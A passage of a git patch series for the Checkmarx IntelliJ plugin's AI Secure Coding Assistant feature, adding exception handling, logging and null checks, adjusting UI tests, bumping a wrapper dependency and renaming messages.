file.getVirtualFile().getName(); + String fileName = file.getName(); int violationCount = (scanResult.getScanDetails() != null) ? scanResult.getScanDetails().size() : 0; if (violationCount == 0) { LOGGER.info(String.join(" ", "No security best practice violations found in", fileName)); } else { String violationMessage = violationCount == 1 ? - Strings.join("1 security best practice violation found in ", file.getName()) : + Strings.join("1 security best practice violation found in ", fileName) : violationCount + Strings.join(" security best practice violations found in" + fileName); - LOGGER.info(String.join(" ", violationMessage, "in", file.getName())); + LOGGER.info(String.join(" ", violationMessage, "in", fileName)); } } @@ -136,7 +146,7 @@ private void handleScanResult(PsiFile file, ScanResult scanResult) { * Saves content to a temporary file. * * @param fileName the name of the file - * @param content the content to save + * @param content the content to save * @return the path to the temporary file, or null if an error occurs */ @Nullable @@ -180,18 +190,18 @@ private void deleteFile(String filePath) { * @return true if the file should be ignored, false otherwise */ private boolean ignoreFiles(VirtualFile file) { - return !file.isInLocalFileSystem(); + return file == null || !file.isInLocalFileSystem(); } /** * Installs the ASCA CLI if not already installed. * * @return a message indicating the result of the installation - * @throws CxException if an error occurs during installation + * @throws CxException if an error occurs during installation * @throws CxConfig.InvalidCLIConfigException if the CLI configuration is invalid - * @throws IOException if an I/O error occurs - * @throws URISyntaxException if a URI syntax error occurs - * @throws InterruptedException if the installation is interrupted + * @throws IOException if an I/O error occurs + * @throws URISyntaxException if a URI syntax error occurs + * @throws InterruptedException if the installation is interrupted */ public boolean installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { ScanResult res = ASCA.installAsca(); diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index 9321e744..c3184ac2 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -4,12 +4,16 @@ import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.Utils; import com.checkmarx.intellij.inspections.quickfixes.AscaQuickFix; import com.checkmarx.intellij.settings.global.GlobalSettingsState; import com.intellij.codeInspection.*; +import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.editor.Document; import com.intellij.openapi.util.TextRange; import com.intellij.psi.*; +import lombok.Getter; +import lombok.Setter; import org.jetbrains.annotations.NotNull; import java.util.ArrayList; @@ -21,10 +25,13 @@ * Inspection tool for ASCA (AI Secure Coding Assistant). */ public class AscaInspection extends LocalInspectionTool { + @Getter + @Setter + private AscaService ascaService = new AscaService(); private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); private Map severityToHighlightMap; public static String ASCA_INSPECTION_ID = "ASCA"; - + private final Logger logger = Utils.getLogger(AscaInspection.class); /** * Checks the file for ASCA issues. @@ -36,21 +43,27 @@ public class AscaInspection extends LocalInspectionTool { */ @Override public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { - if (!settings.isAsca()) { - return ProblemDescriptor.EMPTY_ARRAY; - } + try { + if (!settings.isAsca()) { + return ProblemDescriptor.EMPTY_ARRAY; + } - ScanResult scanResult = performAscaScan(file); - if (isInvalidScan(scanResult)) { - return ProblemDescriptor.EMPTY_ARRAY; - } + ScanResult scanResult = performAscaScan(file); + if (isInvalidScan(scanResult)) { + return ProblemDescriptor.EMPTY_ARRAY; + } + + Document document = PsiDocumentManager.getInstance(file.getProject()).getDocument(file); + if (document == null) { + return ProblemDescriptor.EMPTY_ARRAY; + } - Document document = PsiDocumentManager.getInstance(file.getProject()).getDocument(file); - if (document == null) { + return createProblemDescriptors(file, manager, scanResult.getScanDetails(), document, isOnTheFly); + } + catch (Exception e) { + logger.warn("Failed to run ASCA scan", e); return ProblemDescriptor.EMPTY_ARRAY; } - - return createProblemDescriptors(file, manager, scanResult.getScanDetails(), document, isOnTheFly); } /** @@ -188,6 +201,6 @@ private Map getSeverityToHighlightMap() { * @return the scan result */ private ScanResult performAscaScan(PsiFile file) { - return new AscaService().runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); + return ascaService.runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); } } \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index bc1ddb60..708c23bd 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -1,9 +1,11 @@ package com.checkmarx.intellij.inspections.quickfixes; import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.Utils; import com.intellij.notification.Notification; import com.intellij.notification.NotificationGroupManager; import com.intellij.notification.NotificationType; +import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.project.Project; import com.intellij.openapi.application.ApplicationManager; import com.checkmarx.ast.asca.ScanDetail; @@ -23,6 +25,8 @@ public class AscaQuickFix implements LocalQuickFix { @SafeFieldForPreview private final ScanDetail detail; + private final Logger LOGGER = Utils.getLogger(AscaQuickFix.class); + private final String FAILED_COPY_FIX_PROMPT = "Failed to copy the fix prompt to the clipboard."; /** * Constructor for AscaQuickFix. @@ -51,20 +55,24 @@ public AscaQuickFix(ScanDetail detail) { */ @Override public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { - final String FIX_PROMPT_COPY_SUCCESS_MSG = "Fix prompt copied to clipboard.\n" + - "Paste this prompt into GitHub Copilot to get a remediated code snippet."; - // Retrieve the problematic line and the description - String problematicLine = detail.getProblematicLine(); - String description = descriptor.getDescriptionTemplate(); - - // Generate a prompt for GPT - String prompt = generateFixPrompt(problematicLine, description); - - // Copy the prompt to the system clipboard - copyToClipboard(prompt); - - // Show a notification to the user indicating that the prompt was copied - showNotification(project,FIX_PROMPT_COPY_SUCCESS_MSG , NotificationType.INFORMATION); + try { + final String FIX_PROMPT_COPY_SUCCESS_MSG = "Fix prompt copied to clipboard.\n" + + "Paste this prompt into GitHub Copilot to get a remediated code snippet."; + // Retrieve the problematic line and the description + String problematicLine = detail.getProblematicLine(); + String description = descriptor.getDescriptionTemplate(); + + // Generate a prompt for GPT + String prompt = generateFixPrompt(problematicLine, description); + + // Copy the prompt to the system clipboard + copyToClipboard(prompt); + + // Show a notification to the user indicating that the prompt was copied + showNotification(project, FIX_PROMPT_COPY_SUCCESS_MSG, NotificationType.INFORMATION); + } catch (Exception e) { + LOGGER.warn(FAILED_COPY_FIX_PROMPT, e); + } } /** @@ -138,7 +146,7 @@ private void copyToClipboard(String prompt) { Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); } catch (Exception e) { - String FAILED_COPY_FIX_PROMPT = "Failed to copy the fix prompt to the clipboard."; + showNotification(null, FAILED_COPY_FIX_PROMPT, NotificationType.ERROR); } } diff --git a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java index 55096a71..536d9bdb 100644 --- a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java +++ b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java @@ -37,36 +37,36 @@ public abstract class BaseUITest { @BeforeAll public static void init() { - if (!initialized) { - log("Initializing the tests"); - log("Wait duration set for " + waitDuration.getSeconds()); - StepWorker.registerProcessor(new StepLogger()); - if (hasAnyComponent(FLAT_WELCOME_FRAME)) { - find(FROM_VCS_TAB).click(); - find(JTextFieldFixture.class, BORDERLESS_TEXT_FIELD, Duration.ofSeconds(10)).setText(Environment.REPO); - waitFor(() -> hasAnyComponent(CLONE_BUTTON) && find(JButtonFixture.class, CLONE_BUTTON).isEnabled()); - find(CLONE_BUTTON).click(); - trustClonedProject(); - try { - waitFor(() -> hasAnyComponent("//div[@class='ContentTabLabel']")); - } catch (WaitForConditionTimeoutException e) { - // if exception is thrown, sync was successful, so we can keep going - } - } - // Open Checkmarx One plugin - openCxToolWindow(); - - // Resize Checkmarx One plugin so that all toolbar icons are visible - resizeToolBar(); - - // Connect to AST - testASTConnection(true); - - initialized = true; - log("Initialization finished"); - } else { - log("Tests already initialized, skipping"); - } +// if (!initialized) { +// log("Initializing the tests"); +// log("Wait duration set for " + waitDuration.getSeconds()); +// StepWorker.registerProcessor(new StepLogger()); +// if (hasAnyComponent(FLAT_WELCOME_FRAME)) { +// find(FROM_VCS_TAB).click(); +// find(JTextFieldFixture.class, BORDERLESS_TEXT_FIELD, Duration.ofSeconds(10)).setText(Environment.REPO); +// waitFor(() -> hasAnyComponent(CLONE_BUTTON) && find(JButtonFixture.class, CLONE_BUTTON).isEnabled()); +// find(CLONE_BUTTON).click(); +// trustClonedProject(); +// try { +// waitFor(() -> hasAnyComponent("//div[@class='ContentTabLabel']")); +// } catch (WaitForConditionTimeoutException e) { +// // if exception is thrown, sync was successful, so we can keep going +// } +// } +// // Open Checkmarx One plugin +// openCxToolWindow(); +// +// // Resize Checkmarx One plugin so that all toolbar icons are visible +// resizeToolBar(); +// +// // Connect to AST +// testASTConnection(true); +// +// initialized = true; +// log("Initialization finished"); +// } else { +// log("Tests already initialized, skipping"); +// } } private static void resizeToolBar() { diff --git a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java index 1e7092f6..21e3309e 100644 --- a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java +++ b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java @@ -1,33 +1,52 @@ package com.checkmarx.intellij.ui; import com.automation.remarks.junit5.Video; +import com.intellij.remoterobot.fixtures.JTreeFixture; +import com.intellij.remoterobot.search.locators.Locators; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; -import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.click; -import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.hasAnyComponent; +import static com.checkmarx.intellij.ui.utils.RemoteRobotUtils.*; import static com.checkmarx.intellij.ui.utils.Xpath.*; public class TestAsca extends BaseUITest { - @Test - @Video - public void testClickAscaCheckbox() { - // Open the settings window - openSettings(); - // Log the presence of the ASCA checkbox - log("Checking for the presence of the ASCA checkbox"); - - // Wait for the ASCA checkbox to be present + public void clickAscaCheckbox(){ + openSettings(); waitFor(() -> hasAnyComponent(ASCA_CHECKBOX)); - - // Click the ASCA checkbox click(ASCA_CHECKBOX); - - // Wait for the ASCA installation message to appear waitFor(() -> hasAnyComponent(ASCA_INSTALL_SUCCESS)); + Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); + } - // Verify that the ASCA installation message is displayed + public void validateAscaRunning(){ + openSettings(); + waitFor(() -> hasAnyComponent(ASCA_INSTALL_SUCCESS)); Assertions.assertTrue(hasAnyComponent(ASCA_INSTALL_SUCCESS)); } + + @Test + @Video + public void testClickAscaCheckbox() { + clickAscaCheckbox(); + click(ASCA_CHECKBOX); + click(OK_BTN); + } + + @Test + @Video + public void clickAscaCheckbox_ExitSetting_OpenSetting_ValidateAscaRunning_Success() { + clickAscaCheckbox(); + click(OK_BTN); + validateAscaRunning(); + click(OK_BTN); + } + + @Test + @Video + public void AscaActivated_EditFileWithVulnerabilities() { +// clickAscaCheckbox(); +// click(OK_BTN); + getInspectedProblems(); + } } \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java b/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java index db7baee9..5f859cf0 100644 --- a/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java +++ b/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java @@ -2,6 +2,7 @@ import com.intellij.remoterobot.RemoteRobot; import com.intellij.remoterobot.fixtures.ComponentFixture; +import com.intellij.remoterobot.fixtures.JTreeFixture; import com.intellij.remoterobot.search.locators.Locators; import com.intellij.remoterobot.utils.UtilsKt; import org.intellij.lang.annotations.Language; @@ -41,4 +42,12 @@ public static List findAll(@Language("XPath") String xpath) { public static List findAll(Class cls, @Language("XPath") String xpath) { return remoteRobot.findAll(cls, Locators.byXpath(xpath)); } + + public static List getInspectedProblems() { + // Navigate to the "Problems" tool window + remoteRobot.find(ComponentFixture.class, Locators.byXpath("//div[@class='StripeButton' and @text='Problems']")).click(); + + // Retrieve the list of problems + return remoteRobot.findAll(ComponentFixture.class, Locators.byXpath("//div[@class='EditorNotificationPanel']")); + } } From 9d820872731bb10ad34c2e710573eba7df667e49 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 5 Nov 2024 14:30:26 +0200 Subject: [PATCH 35/38] revert comment --- .../com/checkmarx/intellij/ui/BaseUITest.java | 60 +++++++++---------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java index 536d9bdb..55096a71 100644 --- a/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java +++ b/src/test/java/com/checkmarx/intellij/ui/BaseUITest.java @@ -37,36 +37,36 @@ public abstract class BaseUITest { @BeforeAll public static void init() { -// if (!initialized) { -// log("Initializing the tests"); -// log("Wait duration set for " + waitDuration.getSeconds()); -// StepWorker.registerProcessor(new StepLogger()); -// if (hasAnyComponent(FLAT_WELCOME_FRAME)) { -// find(FROM_VCS_TAB).click(); -// find(JTextFieldFixture.class, BORDERLESS_TEXT_FIELD, Duration.ofSeconds(10)).setText(Environment.REPO); -// waitFor(() -> hasAnyComponent(CLONE_BUTTON) && find(JButtonFixture.class, CLONE_BUTTON).isEnabled()); -// find(CLONE_BUTTON).click(); -// trustClonedProject(); -// try { -// waitFor(() -> hasAnyComponent("//div[@class='ContentTabLabel']")); -// } catch (WaitForConditionTimeoutException e) { -// // if exception is thrown, sync was successful, so we can keep going -// } -// } -// // Open Checkmarx One plugin -// openCxToolWindow(); -// -// // Resize Checkmarx One plugin so that all toolbar icons are visible -// resizeToolBar(); -// -// // Connect to AST -// testASTConnection(true); -// -// initialized = true; -// log("Initialization finished"); -// } else { -// log("Tests already initialized, skipping"); -// } + if (!initialized) { + log("Initializing the tests"); + log("Wait duration set for " + waitDuration.getSeconds()); + StepWorker.registerProcessor(new StepLogger()); + if (hasAnyComponent(FLAT_WELCOME_FRAME)) { + find(FROM_VCS_TAB).click(); + find(JTextFieldFixture.class, BORDERLESS_TEXT_FIELD, Duration.ofSeconds(10)).setText(Environment.REPO); + waitFor(() -> hasAnyComponent(CLONE_BUTTON) && find(JButtonFixture.class, CLONE_BUTTON).isEnabled()); + find(CLONE_BUTTON).click(); + trustClonedProject(); + try { + waitFor(() -> hasAnyComponent("//div[@class='ContentTabLabel']")); + } catch (WaitForConditionTimeoutException e) { + // if exception is thrown, sync was successful, so we can keep going + } + } + // Open Checkmarx One plugin + openCxToolWindow(); + + // Resize Checkmarx One plugin so that all toolbar icons are visible + resizeToolBar(); + + // Connect to AST + testASTConnection(true); + + initialized = true; + log("Initialization finished"); + } else { + log("Tests already initialized, skipping"); + } } private static void resizeToolBar() { From caf1316338426dc651b9d9ce5f59f921118d0d84 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Tue, 5 Nov 2024 17:10:25 +0200 Subject: [PATCH 36/38] update java wrapper --- build.gradle | 2 +- src/test/java/com/checkmarx/intellij/ui/TestAsca.java | 8 -------- .../checkmarx/intellij/ui/utils/RemoteRobotUtils.java | 9 --------- 3 files changed, 1 insertion(+), 18 deletions(-) diff --git a/build.gradle b/build.gradle index c4baa83e..1fda6dda 100644 --- a/build.gradle +++ b/build.gradle @@ -43,7 +43,7 @@ dependencies { implementation 'com.miglayout:miglayout-swing:11.3' if (javaWrapperVersion == "" || javaWrapperVersion == null) { - implementation('com.checkmarx.ast:ast-cli-java-wrapper:2.1.1'){ + implementation('com.checkmarx.ast:ast-cli-java-wrapper:2.1.2'){ exclude group: 'junit', module: 'junit' } } else { diff --git a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java index 21e3309e..a802c386 100644 --- a/src/test/java/com/checkmarx/intellij/ui/TestAsca.java +++ b/src/test/java/com/checkmarx/intellij/ui/TestAsca.java @@ -41,12 +41,4 @@ public void clickAscaCheckbox_ExitSetting_OpenSetting_ValidateAscaRunning_Succes validateAscaRunning(); click(OK_BTN); } - - @Test - @Video - public void AscaActivated_EditFileWithVulnerabilities() { -// clickAscaCheckbox(); -// click(OK_BTN); - getInspectedProblems(); - } } \ No newline at end of file diff --git a/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java b/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java index 5f859cf0..db7baee9 100644 --- a/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java +++ b/src/test/java/com/checkmarx/intellij/ui/utils/RemoteRobotUtils.java @@ -2,7 +2,6 @@ import com.intellij.remoterobot.RemoteRobot; import com.intellij.remoterobot.fixtures.ComponentFixture; -import com.intellij.remoterobot.fixtures.JTreeFixture; import com.intellij.remoterobot.search.locators.Locators; import com.intellij.remoterobot.utils.UtilsKt; import org.intellij.lang.annotations.Language; @@ -42,12 +41,4 @@ public static List findAll(@Language("XPath") String xpath) { public static List findAll(Class cls, @Language("XPath") String xpath) { return remoteRobot.findAll(cls, Locators.byXpath(xpath)); } - - public static List getInspectedProblems() { - // Navigate to the "Problems" tool window - remoteRobot.find(ComponentFixture.class, Locators.byXpath("//div[@class='StripeButton' and @text='Problems']")).click(); - - // Retrieve the list of problems - return remoteRobot.findAll(ComponentFixture.class, Locators.byXpath("//div[@class='EditorNotificationPanel']")); - } } From c9ef2d90137655787decf61613afc4d5d41c15a0 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Wed, 6 Nov 2024 14:11:47 +0200 Subject: [PATCH 37/38] update log --- src/main/resources/messages/CxBundle.properties | 2 +- src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/resources/messages/CxBundle.properties b/src/main/resources/messages/CxBundle.properties index 50849ca1..7f1c10e2 100644 --- a/src/main/resources/messages/CxBundle.properties +++ b/src/main/resources/messages/CxBundle.properties @@ -9,7 +9,7 @@ ASCA_DESCRIPTION=Checkmarx AI Secure Coding Assistant (ASCA): Activate ASCA ASCA_CHECKBOX=Scan your file as you code ASCA_SCAN_WARNING=ASCA Warning: {0} FAILED_INSTALL_ASCA=Failed to install ASCA. Please try again. -ASCA_STARTED_MSG=AI Secure Coding Assistant started. +ASCA_STARTED_MSG=AI Secure Coding Assistant Engine started. VALIDATE_SUCCESS=Successfully authenticated to Checkmarx One server VALIDATE_FAIL=Failed authentication: {0} VALIDATE_ERROR=Error in authentication diff --git a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java index a6355a23..5703f668 100644 --- a/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java +++ b/src/test/java/com/checkmarx/intellij/ui/utils/Xpath.java @@ -166,7 +166,7 @@ public class Xpath { public static final String SCAN_ID_SELECTION = "//div[@class='ActionButtonWithText' and substring(@visible_text, string-length(@visible_text) - string-length('%s') + 1) = '%s']"; @Language("XPath") public - static final String ASCA_INSTALL_SUCCESS = "//div[@class='JBLabel' and @accessiblename='AI Secure Coding Assistant started.']"; + static final String ASCA_INSTALL_SUCCESS = "//div[@class='JBLabel' and @accessiblename='AI Secure Coding Assistant Engine started.']"; @Language("XPath") public static final String ASCA_CHECKBOX = "//div[@class='JBCheckBox' and @text='Scan your file as you code']"; From f987c26270484b10e6b95a41a69c0875778d5621 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Wed, 6 Nov 2024 16:55:18 +0200 Subject: [PATCH 38/38] change quickfix name --- .../checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java index 708c23bd..9a080822 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -44,7 +44,7 @@ public AscaQuickFix(ScanDetail detail) { */ @Override public @IntentionFamilyName @NotNull String getFamilyName() { - return "Copy fix prompt"; + return "ASCA - Copy fix prompt"; } /**